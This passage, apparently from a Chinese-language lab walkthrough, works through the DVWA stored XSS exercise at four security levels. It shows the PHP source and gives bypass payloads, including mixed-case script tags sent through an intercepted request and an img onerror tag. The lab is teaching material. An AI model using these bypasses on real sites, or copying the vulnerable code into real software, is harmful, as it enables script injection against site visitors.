$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

trim(string,charlist): 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符

stripslashes(string): 去除掉string字符的反斜杠\

mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

$GLOBALS:引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

可以看出,low级别的代码对我们输入的messagename并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞

我们输入 1 和 <script>alert('hack')</script>,可以看到,我们的js代码立即就执行了

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ‘ 、” 、\ 、NULL

strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签

htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素

当我们再次输入1 和<script>alert('hack')</script> ,strip_tags函数把<script>标签给剥除了,addslashes函数把 ‘ 转义成了 \’

虽然Message参数把所有的XSS都给过滤了,但是name参数只是过滤了<script>标签而已,我们依然可以在name参数进行注入

可是发现name参数对长度有限制,最大长度是10

所以我们想到了抓包,然后进行篡改,我们输入如下的,然后抓包

如下框中的数据就是 <script>al 经过URL编码后的数据

我们需要将其修改为 <SCRIPT>alert('hack')</SCRIPT> 经过URL编码后的数据

提交后,就可以看到弹出此框了,说明我们的js代码执行了

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,我们仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成<img src=1 onerror=alert('hack')>

然后将 <img src=1 onerror=alert('hack')>进行URL编码

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,这次impossible在high级别的基础上对name参数也进行了更严格的过滤,导致name参数也无法进行XSS攻击。而且使用了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞